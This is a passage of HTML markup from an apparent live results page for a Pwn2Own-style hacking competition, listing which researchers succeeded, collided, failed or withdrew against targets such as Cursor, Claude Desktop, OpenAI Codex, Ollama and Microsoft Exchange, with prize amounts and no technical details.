                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/701ed64a-a1af-4028-8e69-62d6aeeaf60e/Screenshot+2026-05-15+at+5.37.51%E2%80%AFAM.png" data-image-dimensions="1776x366" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/701ed64a-a1af-4028-8e69-62d6aeeaf60e/Screenshot+2026-05-15+at+5.37.51%E2%80%AFAM.png?format=1000w" width="1776" height="366" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/701ed64a-a1af-4028-8e69-62d6aeeaf60e/Screenshot+2026-05-15+at+5.37.51%E2%80%AFAM.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/701ed64a-a1af-4028-8e69-62d6aeeaf60e/Screenshot+2026-05-15+at+5.37.51%E2%80%AFAM.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/701ed64a-a1af-4028-8e69-62d6aeeaf60e/Screenshot+2026-05-15+at+5.37.51%E2%80%AFAM.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/701ed64a-a1af-4028-8e69-62d6aeeaf60e/Screenshot+2026-05-15+at+5.37.51%E2%80%AFAM.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/701ed64a-a1af-4028-8e69-62d6aeeaf60e/Screenshot+2026-05-15+at+5.37.51%E2%80%AFAM.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/701ed64a-a1af-4028-8e69-62d6aeeaf60e/Screenshot+2026-05-15+at+5.37.51%E2%80%AFAM.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/701ed64a-a1af-4028-8e69-62d6aeeaf60e/Screenshot+2026-05-15+at+5.37.51%E2%80%AFAM.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">COLLISON</b> - Although successful on stage, Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) targeting Claude Desktop in the Coding Agent category used a bug that was previously known. They still earn $10,000 and 2 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/554596ab-a59d-4dc3-ab26-db026595a4e6/sinsinology_claude.jpeg" data-image-dimensions="2160x3840" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/554596ab-a59d-4dc3-ab26-db026595a4e6/sinsinology_claude.jpeg?format=1000w" width="2160" height="3840" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/554596ab-a59d-4dc3-ab26-db026595a4e6/sinsinology_claude.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/554596ab-a59d-4dc3-ab26-db026595a4e6/sinsinology_claude.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/554596ab-a59d-4dc3-ab26-db026595a4e6/sinsinology_claude.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/554596ab-a59d-4dc3-ab26-db026595a4e6/sinsinology_claude.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/554596ab-a59d-4dc3-ab26-db026595a4e6/sinsinology_claude.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/554596ab-a59d-4dc3-ab26-db026595a4e6/sinsinology_claude.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/554596ab-a59d-4dc3-ab26-db026595a4e6/sinsinology_claude.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> - Le Duc Anh Vu (@vulda17) of Viettel Cyber Security (@vcslab) exploited Cursor, earning $30,000 and 3 Master of Pwn points. Full win!</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a19a7651-9e6f-4b8a-ad30-dad57dbfc706/IMG_4236.png" data-image-dimensions="5712x4284" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a19a7651-9e6f-4b8a-ad30-dad57dbfc706/IMG_4236.png?format=1000w" width="5712" height="4284" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a19a7651-9e6f-4b8a-ad30-dad57dbfc706/IMG_4236.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a19a7651-9e6f-4b8a-ad30-dad57dbfc706/IMG_4236.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a19a7651-9e6f-4b8a-ad30-dad57dbfc706/IMG_4236.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a19a7651-9e6f-4b8a-ad30-dad57dbfc706/IMG_4236.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a19a7651-9e6f-4b8a-ad30-dad57dbfc706/IMG_4236.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a19a7651-9e6f-4b8a-ad30-dad57dbfc706/IMG_4236.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a19a7651-9e6f-4b8a-ad30-dad57dbfc706/IMG_4236.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9cdb3ed4-80a2-4457-b853-7c84edd2a0da/Image.jpeg" data-image-dimensions="5184x3888" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9cdb3ed4-80a2-4457-b853-7c84edd2a0da/Image.jpeg?format=1000w" width="5184" height="3888" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9cdb3ed4-80a2-4457-b853-7c84edd2a0da/Image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9cdb3ed4-80a2-4457-b853-7c84edd2a0da/Image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9cdb3ed4-80a2-4457-b853-7c84edd2a0da/Image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9cdb3ed4-80a2-4457-b853-7c84edd2a0da/Image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9cdb3ed4-80a2-4457-b853-7c84edd2a0da/Image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9cdb3ed4-80a2-4457-b853-7c84edd2a0da/Image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/9cdb3ed4-80a2-4457-b853-7c84edd2a0da/Image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">WITHDRAWAL</b> - Kiyong Kwak of Kakaogames and Song Nuri of Samsung Electronics has withdrawn their entry for Apple Safari – Renderer Only in the Web Browser category.</p><p><b data-preserve-html-node="true">FAILURE</b> - Unfortunately, Ruitong of Abstract Team, University of Colorado Boulder could not get their exploit of Red Hat Enterprise Linux for Workstations working within the time allotted.</p><p><b data-preserve-html-node="true">SUCCESS</b> - Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam) exploited OpenAI Codex in the second round, earning $20,000 and 4 Master of Pwn points.</p>











































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ca55907c-d67c-4831-ae12-2ae4486fa791/image+%282%29.jpeg" data-image-dimensions="2176x2901" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ca55907c-d67c-4831-ae12-2ae4486fa791/image+%282%29.jpeg?format=1000w" width="2176" height="2901" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ca55907c-d67c-4831-ae12-2ae4486fa791/image+%282%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ca55907c-d67c-4831-ae12-2ae4486fa791/image+%282%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ca55907c-d67c-4831-ae12-2ae4486fa791/image+%282%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ca55907c-d67c-4831-ae12-2ae4486fa791/image+%282%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ca55907c-d67c-4831-ae12-2ae4486fa791/image+%282%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ca55907c-d67c-4831-ae12-2ae4486fa791/image+%282%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ca55907c-d67c-4831-ae12-2ae4486fa791/image+%282%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/09c209fd-7cc1-40c2-8427-0aac50dcfcbf/Image+%282%29.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/09c209fd-7cc1-40c2-8427-0aac50dcfcbf/Image+%282%29.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/09c209fd-7cc1-40c2-8427-0aac50dcfcbf/Image+%282%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/09c209fd-7cc1-40c2-8427-0aac50dcfcbf/Image+%282%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/09c209fd-7cc1-40c2-8427-0aac50dcfcbf/Image+%282%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/09c209fd-7cc1-40c2-8427-0aac50dcfcbf/Image+%282%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/09c209fd-7cc1-40c2-8427-0aac50dcfcbf/Image+%282%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/09c209fd-7cc1-40c2-8427-0aac50dcfcbf/Image+%282%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/09c209fd-7cc1-40c2-8427-0aac50dcfcbf/Image+%282%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/af769f0a-c5e1-4570-beee-5f1db87a9454/Image+%283%29.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/af769f0a-c5e1-4570-beee-5f1db87a9454/Image+%283%29.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/af769f0a-c5e1-4570-beee-5f1db87a9454/Image+%283%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/af769f0a-c5e1-4570-beee-5f1db87a9454/Image+%283%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/af769f0a-c5e1-4570-beee-5f1db87a9454/Image+%283%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/af769f0a-c5e1-4570-beee-5f1db87a9454/Image+%283%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/af769f0a-c5e1-4570-beee-5f1db87a9454/Image+%283%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/af769f0a-c5e1-4570-beee-5f1db87a9454/Image+%283%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/af769f0a-c5e1-4570-beee-5f1db87a9454/Image+%283%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">COLLISON</b> - Although successful on stage, Billy (@st424204), Bruce Chen (@bruce30262), Pan Zhenpeng (@Peterpan980927) &amp; Weiming Shi (@bestswngs) of STARLabs SG (@starlabs_sg) targeting NVIDIA Megatron Bridge used a bug that was previously known. They still earn $2,500 and 1 Master of Pwn point.</p>











































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fb507189-35f2-4e9c-9c46-7bf038078824/Image+%283%29.jpeg" data-image-dimensions="4032x3024" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fb507189-35f2-4e9c-9c46-7bf038078824/Image+%283%29.jpeg?format=1000w" width="4032" height="3024" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fb507189-35f2-4e9c-9c46-7bf038078824/Image+%283%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fb507189-35f2-4e9c-9c46-7bf038078824/Image+%283%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fb507189-35f2-4e9c-9c46-7bf038078824/Image+%283%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fb507189-35f2-4e9c-9c46-7bf038078824/Image+%283%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fb507189-35f2-4e9c-9c46-7bf038078824/Image+%283%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fb507189-35f2-4e9c-9c46-7bf038078824/Image+%283%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/fb507189-35f2-4e9c-9c46-7bf038078824/Image+%283%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b1fda10c-37fd-4f60-b976-3203f82cb19f/Image.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b1fda10c-37fd-4f60-b976-3203f82cb19f/Image.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b1fda10c-37fd-4f60-b976-3203f82cb19f/Image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b1fda10c-37fd-4f60-b976-3203f82cb19f/Image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b1fda10c-37fd-4f60-b976-3203f82cb19f/Image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b1fda10c-37fd-4f60-b976-3203f82cb19f/Image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b1fda10c-37fd-4f60-b976-3203f82cb19f/Image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b1fda10c-37fd-4f60-b976-3203f82cb19f/Image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b1fda10c-37fd-4f60-b976-3203f82cb19f/Image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">WITHDRAWAL</b> - Alon Ben Tsur (@iamgweej), Yahav Azran (@_yahav) have withdrawn their entry for Red Hat Enterprise Linux for Workstations in the Local Escalation of Privilege category.</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Orange Tsai (@orange_8361) of DEVCORE Research Team chained 3 bugs to achieve Remote Code Execution as SYSTEM on Microsoft Exchange, earning $200,000 and 20 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f109d155-65d6-4fc5-8573-a01bd108a4bf/Image+%2836%29.jpeg" data-image-dimensions="800x600" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f109d155-65d6-4fc5-8573-a01bd108a4bf/Image+%2836%29.jpeg?format=1000w" width="800" height="600" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f109d155-65d6-4fc5-8573-a01bd108a4bf/Image+%2836%29.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f109d155-65d6-4fc5-8573-a01bd108a4bf/Image+%2836%29.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f109d155-65d6-4fc5-8573-a01bd108a4bf/Image+%2836%29.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f109d155-65d6-4fc5-8573-a01bd108a4bf/Image+%2836%29.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f109d155-65d6-4fc5-8573-a01bd108a4bf/Image+%2836%29.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f109d155-65d6-4fc5-8573-a01bd108a4bf/Image+%2836%29.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f109d155-65d6-4fc5-8573-a01bd108a4bf/Image+%2836%29.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">SUCCESS</b> / <b data-preserve-html-node="true">COLLISON</b> - David Tae &amp; Louis Hur of Out Of Bounds targeted Ollama, hitting a one-vulnerability collision with a previous attempt and earning $28,000 and 3 Master of Pwn points.</p>











































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/40f65194-d6d9-4dad-b4ce-54bbba6cb2dc/IMG_3072.png" data-image-dimensions="4032x2268" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/40f65194-d6d9-4dad-b4ce-54bbba6cb2dc/IMG_3072.png?format=1000w" width="4032" height="2268" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/40f65194-d6d9-4dad-b4ce-54bbba6cb2dc/IMG_3072.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/40f65194-d6d9-4dad-b4ce-54bbba6cb2dc/IMG_3072.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/40f65194-d6d9-4dad-b4ce-54bbba6cb2dc/IMG_3072.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/40f65194-d6d9-4dad-b4ce-54bbba6cb2dc/IMG_3072.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/40f65194-d6d9-4dad-b4ce-54bbba6cb2dc/IMG_3072.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/40f65194-d6d9-4dad-b4ce-54bbba6cb2dc/IMG_3072.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/40f65194-d6d9-4dad-b4ce-54bbba6cb2dc/IMG_3072.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/306bb2af-89b2-4291-a4eb-adcbe98e5da3/Image.jpeg" data-image-dimensions="1024x768" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/306bb2af-89b2-4291-a4eb-adcbe98e5da3/Image.jpeg?format=1000w" width="1024" height="768" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/306bb2af-89b2-4291-a4eb-adcbe98e5da3/Image.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/306bb2af-89b2-4291-a4eb-adcbe98e5da3/Image.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/306bb2af-89b2-4291-a4eb-adcbe98e5da3/Image.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/306bb2af-89b2-4291-a4eb-adcbe98e5da3/Image.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/306bb2af-89b2-4291-a4eb-adcbe98e5da3/Image.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/306bb2af-89b2-4291-a4eb-adcbe98e5da3/Image.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/306bb2af-89b2-4291-a4eb-adcbe98e5da3/Image.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><b data-preserve-html-node="true">FAILURE</b> - Nguyen Thanh Dat (@rewhiles) of Viettel Cyber Security (@vcslab) could not get their exploit of Mozilla Firefox – Renderer Only working within the time allotted.</p>
<p><b data-preserve-html-node="true">SUCCESS</b> - Cyrill Bannwart, Emanuele Barbeno, Yves Bieri, Lukasz D., Urs Mueller (@compasssecurity) of Compass Security exploited Cursor in the second round, earning $15,000 and 3 Master of Pwn points.</p>












































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b38cd173-9c13-4da7-9bf4-4125aa9a16e5/IMG_4249.png" data-image-dimensions="4032x3024" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b38cd173-9c13-4da7-9bf4-4125aa9a16e5/IMG_4249.png?format=1000w" width="4032" height="3024" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b38cd173-9c13-4da7-9bf4-4125aa9a16e5/IMG_4249.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b38cd173-9c13-4da7-9bf4-4125aa9a16e5/IMG_4249.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b38cd173-9c13-4da7-9bf4-4125aa9a16e5/IMG_4249.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b38cd173-9c13-4da7-9bf4-4125aa9a16e5/IMG_4249.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b38cd173-9c13-4da7-9bf4-4125aa9a16e5/IMG_4249.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b38cd173-9c13-4da7-9bf4-4125aa9a16e5/IMG_4249.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/b38cd173-9c13-4da7-9bf4-4125aa9a16e5/IMG_4249.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  













































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
